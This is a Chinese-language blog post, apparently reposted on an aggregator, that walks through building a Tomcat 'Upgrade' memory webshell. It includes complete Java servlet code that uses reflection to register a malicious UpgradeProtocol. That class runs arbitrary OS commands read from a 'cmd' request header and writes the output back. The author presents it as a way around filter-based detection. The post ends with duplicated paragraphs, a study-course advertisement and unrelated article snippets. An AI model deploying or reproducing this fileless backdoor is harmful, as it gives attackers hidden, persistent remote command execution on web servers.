初探Upgrade内存马(内存马系列篇六)

news2024/12/26 12:03:47

写在前面

前面讲解了一个特殊的Tomcat内存马-Executor内存马,这篇同样是一个特殊,可以不被检测到的内存马-Upgrade内存马。

这篇就是内存马系列文章的第六篇了。

前置

在阅读这篇文章之前,同样需要对Tomcat的架构,和初始化流程等方面有一定的了解,上篇中的Executor内存马主要是在Executor中的构造,对于Upgrade内存马来说,主要是在Processor中进行构造的。

什么是Processor?

Processor是一个接口,针对于不同协议下具有不同的具体实现类,其实现类的具体功能是处理http请求,主要是对协议进行解析,状态处理以及响应。然后起一个中间作用转发到
Adater。

首先来看一下实现关系类。

image-20220914104214288.png

流程分析

在tomcat提供服务的时候,首先会创建一个线程,

之后将会调用NioEndpoint#doRun方法处理底层的网络Socket连接,

image-20220914111310609.png

因为这里的状态为OPEN, 所以我们调用了AbstractProtocol$ConnectionHandler#process方法进行处理。

image-20220914113042344.png

如果这里的processor为空,将会创建一个processor,

image-20220914113229520.png

默认创建为Http11Processor类,调用其process方法,

image-20220914113409776.png

在这里将会对status标记为OPEN_READ,调用了service方法,

image-20220914113553473.png

在其中,如果存在有upgrade标识,将会通过getUpgradeProtocol方法获取对应的UpgradeProtocol对象,之后会调用其accept方法,

这里就是我们的利用点了。

正文

分析

前文提到了利用点的位置,我们接下来分析一下如果利用那个方法,

这里的Upgrade是一个接口,

image-20220914114033161.png

我们可以关注到他的由来,是通过this.protocol属性中调用了getUpgradeProtocol通过带入请求协议,取出了最后的upgradeProtocol,并调用了accept方法。

我们跟进一下看看this.protocol是个什么?

image-20220914114234328.png

他是一个AbstractHttp11Protocol类,我们查看一下对应方法,

image-20220914114436230.png

在其方法中,我们知道他是从属性httpUpgradeProtocols从取出对应数据的,我们跟进一下该属性。

image-20220914114534145.png

很明显我们可以看出他是一个Map对象,其key为String, Value为UpgradeProtocol

很明显了,就是通过key来获取对应的对象。

如果我们能够插入一个Map对象,其key为我们特定的值,value为一个恶意的实现了UpgradeProtocol接口的类,当我们传入特定的key值的时候,将会调用恶意类的accept方法,达到我们的恶意目的。

那么我们初步可以得到构造的流程,

首先创建一个实现了UpgradeProtocol接口的恶意类,

之后获取httpUpgradeProtocols属性,将key和恶意类写入属性中,

之后将修改后的httpUpgradeProtocols属性值还原,

那么,重点来了,怎样获取httpUpgradeProtocols属性的呢?

同样有好几种方式,可以按照上篇所说的那样,通过内存搜索工具,在当前线程中找到对应类,

但是这里可以直接从request中获取,就方便点,从这里获取。

image-20220914190927651.png

我们能够获取到AbstractProtocol$ConnectionHandler这个对象,

其实现类为AbstractHttp11Protocol类,

可以从中取出httpUpgradeProtocols属性,

这是一个HashMap类,我们可以传入一个恶意的键值对。

可以大概总结一下流程:

  1. 反射获取httpUpgradeProtocols属性;

  2. 创建一个实现了UpgradeProtocol接口,并重写了accept方法的恶意类;

  3. 将恶意类put进入httpUpgradeProtocols属性;

  4. 将改造后的属性值传回给handler中去。

编写内存马

接下来我们按照上面分析出来的流程进行payload的编写。

首先是反射获取属性

RequestFacade rf = (RequestFacade) req;
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(rf);

Field connector = Request.class.getDeclaredField("connector");
connector.setAccessible(true);
Connector realConnector = (Connector) connector.get(request1);

Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");
protocolHandlerField.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);

HashMap<String, UpgradeProtocol> upgradeProtocols = null;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);

这里主要是通过反射的方式取出了属性值,

之后我们创建了一个恶意类,

class MyUpgrade implements UpgradeProtocol {
    @Override
    public String getHttpUpgradeName(boolean b) {
        return null;
    }

    @Override
    public byte[] getAlpnIdentifier() {
        return new byte[0];
    }

    @Override
    public String getAlpnName() {
        return null;
    }

    @Override
    public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
        return null;
    }

    @Override
    public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) {
        return null;
    }

    @Override
    public boolean accept(org.apache.coyote.Request request) {
        String p = request.getHeader("cmd");
        try {
            String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
            Field response = org.apache.coyote.Request.class.getDeclaredField("response");
            response.setAccessible(true);
            Response resp = (Response) response.get(request);
            byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
            resp.doWrite(ByteBuffer.wrap(result));
        } catch (Exception e) {
        }
        return false;
    }
}

在accept中的逻辑中,首先判断他是什么系统环境,使用对应的命令执行方式,对于回显,直接从传入的request对象中封装了response对象,直接进行回显。

再然后,将其put进Map对象中,

upgradeProtocols.put("hello", myUpgrade);

千万不要忘记,在修改换之后应该将其还回去,

upgradeProtocolsField.set(handler, upgradeProtocols);

最后完整的payload,

package pres.test.momenshell;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Request;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.Response;
import org.apache.coyote.http11.AbstractHttp11Protocol;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;

import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.io.IOException;
import java.util.HashMap;

public class AddTomcatUpgrade extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doPost(req, resp);
    }

    class MyUpgrade implements UpgradeProtocol {
        @Override
        public String getHttpUpgradeName(boolean b) {
            return null;
        }

        @Override
        public byte[] getAlpnIdentifier() {
            return new byte[0];
        }

        @Override
        public String getAlpnName() {
            return null;
        }

        @Override
        public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
            return null;
        }

        @Override
        public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) {
            return null;
        }

        @Override
        public boolean accept(org.apache.coyote.Request request) {
            String p = request.getHeader("cmd");
            try {
                String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
                Field response = org.apache.coyote.Request.class.getDeclaredField("response");
                response.setAccessible(true);
                Response resp = (Response) response.get(request);
                byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
                resp.doWrite(ByteBuffer.wrap(result));
            } catch (Exception e) {
            }
            return false;
        }
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            RequestFacade rf = (RequestFacade) req;
            Field requestField = RequestFacade.class.getDeclaredField("request");
            requestField.setAccessible(true);
            Request request1 = (Request) requestField.get(rf);

            Field connector = Request.class.getDeclaredField("connector");
            connector.setAccessible(true);
            Connector realConnector = (Connector) connector.get(request1);

            Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");
            protocolHandlerField.setAccessible(true);
            AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);

            HashMap<String, UpgradeProtocol> upgradeProtocols = null;
            Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
            upgradeProtocolsField.setAccessible(true);
            upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);

            MyUpgrade myUpgrade = new MyUpgrade();
            upgradeProtocols.put("hello", myUpgrade);

            upgradeProtocolsField.set(handler, upgradeProtocols);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20220914174817399.png

千万不要忘记箭头所指的点。

为什么要加这些呢?

我们在前面提到过在漏洞触发点的位置有几个条件,

image-20220914201210671.png

在判断Connection头为Upgrade的时候将会进入if语句,

之后再取出Upgrade头作为请求协议,

最后获取到对应的Upgradeprotocol类,如果为hello,就为我们的恶意类,

最后调用它的accept方法进行触发。

总结

好了,第六篇系列文章也就结束了,这篇和上一篇同样可以一定程度上绕过Filter鉴权机制导致内存马不可用的情况。

贴一下,总结的构造流程:

  1. 反射获取httpUpgradeProtocols属性;

  2. 创建一个实现了UpgradeProtocol接口,并重写了accept方法的恶意类;

  3. 将恶意类put进入httpUpgradeProtocols属性;

  4. 将改造后的属性值传回给handler中去。

Reference

https://tttang.com/archive/1709

类,如果为hello,就为我们的恶意类,

最后调用它的accept方法进行触发。

总结

好了,第六篇系列文章也就结束了,这篇和上一篇同样可以一定程度上绕过Filter鉴权机制导致内存马不可用的情况。

贴一下,总结的构造流程:

  1. 反射获取httpUpgradeProtocols属性;

  2. 创建一个实现了UpgradeProtocol接口,并重写了accept方法的恶意类;

  3. 将恶意类put进入httpUpgradeProtocols属性;

  4. 将改造后的属性值传回给handler中去。

Reference

https://tttang.com/archive/1709

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/358116.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

秒懂算法 | 莫队算法

01、基础莫队算法 莫队算法 = 离线 + 暴力 + 分块。 “离线”和“在线”的概念。在线是交互式的,一问一答;如果前面的答案用于后面的提问,称为“强制在线”。离线是非交互的,一次性读取所有问题,然后一起回答,"记录所有步,回头再做”。 基础的莫队算法是一种离线…

[Java安全]—Shiro回显内存马注入

文章目录前言流程分析寻找response流程分析获取Http11Processor获取AbstractProtocol获取Connector获取WebappClassLoaderHeader 长度限制绕过1、反射修改maxHeaderSize2、自定义ClassLoader加载Body数据后记参考前言 接上篇[Java安全]—Tomcat反序列化注入回显内存马_&#x…

【基于混合激活残差块:超分】

SRNHARB: A deep light-weight image super resolution network using hybrid activation residual blocks &#xff08;SRNHARB&#xff1a;一种基于混合激活残差块的深度轻量图像超分辨率网络&#xff09; 在所有基于图像的应用中&#xff0c;特别是在计算机视觉应用中&…

软件测试期末

考原题就是爽 软件测试技术 知识点整理 https://wenku.baidu.com/view/524c900f4b2fb4daa58da0116c175f0e7cd11913.html 关键知识点 https://www.cnblogs.com/whylaughing/category/813559.html?page1 边界值法不选择无效数据 边界值分析法的基本思想 选取正好等于&am…

PageObject设计模式,在selenium自动化测试中的运用

PageObject设计模式 Web自动化测试框架&#xff08;WebTestFramework&#xff09;是基于Selenium框架且采用PageObject设计模式进行二次开发形成的框架。web测试时,建议强烈推荐使用_谷歌或_火狐浏览器。PageObject设计模式&#xff1a;是将某个页面的所有"元素&#xff…

【网络原理3】TCP连接管理

TCP这种传输层协议必须是有连接的。连接管理&#xff0c;就是TCP当中管理如何建立连接、如何断开连接的方式。 目录 TCP建立连接的方式(三次握手) 合并两次连接之后变成"三次握手" 站在具体发送什么报文的视角&#xff0c;理解三次握手 发送报文之前 第一步:客…

Git - 在主分支上创建分支并提交代码

拉取最新代码 因为当前在 master 分支下&#xff0c;你必须拉取最新代码&#xff0c;保证当前代码与线上同步&#xff08;最新&#xff09;&#xff0c;执行以下命令&#xff1a; git pull origin master创建分支 目前我们在 master 主分支上&#xff0c;需要执行以下命令&…

【Unity】[入门tips与通用性原则] 一些经验技巧和更好地写出简洁易懂的程序的原则方法

本文将持续间断更新 本文主要面向初级程序员&#xff0c;为了方便Unity开发&#xff0c;有些快捷键的方式和一些通用性的技巧tips等会在这篇博客内持续更新&#xff0c;欢迎点赞收藏 快捷键 Ctrl S &#xff1b; 快捷保存&#xff01;闲着没事就来两下&#xff01;CtrlShif…

CMake基础使用和实战详解

CMake基础使用和实战详解一、CMake简介1.1、cmake 的特点1.2、注意1.3、使用建议二、安装 cmake三、CMake的简单使用3.1、准备工作3.2、开始构建3.3、解释CMakeLists.txt的内容3.4、基本语法规则四、更像样的CMake工程4.1、准备工作4.2、构建4.3、语法解释4.4、修改保存目标二进…

水文监测场景的数据通信规约解析和落地实践

[小 迪 导 读]&#xff1a;江苏云上需要通过云平台接入水文设备来实现水文数据的采集、存储、显示、控制、报警及传输等综合功能。企业介绍江苏云上智联物联科技有限公司是专业从事物联网相关产品与解决方案服务的高科技公司&#xff0c;总部位于美丽的江苏无锡。公司遵循“智联…

linux高级命令之死锁

死锁学习目标能够知道产生死锁的原因1. 死锁的概念死锁: 一直等待对方释放锁的情景就是死锁为了更好的理解死锁&#xff0c;来看一个现实生活的效果图:说明:现实社会中&#xff0c;男女双方一直等待对方先道歉的这种行为就好比是死锁。死锁的结果会造成应用程序的停止响应&…

面试官:你是怎样理解Fiber的

hello&#xff0c;这里是潇晨&#xff0c;今天我们来聊一聊Fiber。不知道大家面试的时候有没有遇到过和react Fiber相关的问题呢&#xff0c;这一类问题比较开放&#xff0c;但也是考察对react源码理解深度的问题&#xff0c;如果面试高级前端岗&#xff0c;恰巧你平时用的是re…

细谈JavaWeb中的Request和Response

文章目录1&#xff0c;Request和Response的概述2&#xff0c;Request对象2.1 Request继承体系2.2 Request获取请求数据2.2.1 获取请求行数据2.2.2 获取请求头数据2.2.3 获取请求体数据2.2.4 获取请求参数的通用方式2.4 请求参数中文乱码问题2.4.1 POST请求解决方案2.4.2 GET请求…

MySQL使用C语言连接

文章目录MySQL使用C语言连接引入库下载库文件在项目中使用库使用库连接数据库下发SQL请求获取查询结果MySQL使用C语言连接 引入库 要使用C语言连接MySQL&#xff0c;需要使用MySQL官网提供的库。 下载库文件 下载库文件 首先&#xff0c;进入MySQL官网&#xff0c;选择DEVEL…

Java代码使用最小二乘法实现线性回归预测

最小二乘法简介最小二乘法是一种在误差估计、不确定度、系统辨识及预测、预报等数据处理诸多学科领域得到广泛应用的数学工具。它通过最小化误差&#xff08;真实目标对象与拟合目标对象的差&#xff09;的平方和寻找数据的最佳函数匹配。利用最小二乘法可以简便地求得未知的数…

如何写一个 things3 client

Things3[1] 是一款苹果生态内的任务管理软件&#xff0c;是一家德国公司做的&#xff0c;非常好用。我前后尝试了众多任务管理软件&#xff0c;最终选定 things3&#xff0c;以后有机会会写文章介绍我是如何用 things3 来管理我的日常任务。本文主要介绍欧神写的 tli[2] 工具来…

3D沉浸式体验开发技巧【Three.js】

在本文中&#xff0c;我们将看看如何使用 Three.js 创建一个充满后期效果和微交互的迷你城市。 推荐&#xff1a;将 NSDT场景编辑器 加入你的3D开发工具链。 1、背景介绍 我是一个游戏爱好者。 我一直梦想创建一个交互式迷你城市&#xff0c;使用饱和的颜色&#xff0c;类似于…

Android自动化测试(UiAutomator)——UiObject

本文主要讲解使用UiAutomator的一些技巧&#xff0c;希望对于初学者有一定的帮助 UiObject 1、首先要声明对象 UiObject XXX new UiObject(new Selector) ; 2、其次对对象进行操作 操作类型包括&#xff1a; 执行类&#xff1a;文本输入与清除、点击/长按、拖动/滑动、 …

JAVA JDK 常用工具类和工具方法

目录 Pair与Triple Lists.partition-将一个大集合分成若干 List集合操作的轮子 对象工具Objects 与ObjectUtils 字符串工具 MapUtils Assert断言 switch语句 三目表达式 IOUtils MultiValueMap MultiMap JAVA各个时间类型的转换&#xff08;LocalDate与Date类型&a…

开源软件AirByte:入湖入仓,数据集成管道

从ETL到ELT就传统的 ETL而言&#xff0c;当我们开始构建数据仓库时&#xff0c;都要先去了解业务流程&#xff0c;明晰业务是如何运转的&#xff0c;数据是如何留痕的。通过收集用户的相关需求&#xff0c;从而去规划设计报表。企业需要进行数仓分域、分层、逻辑建模等一系列操…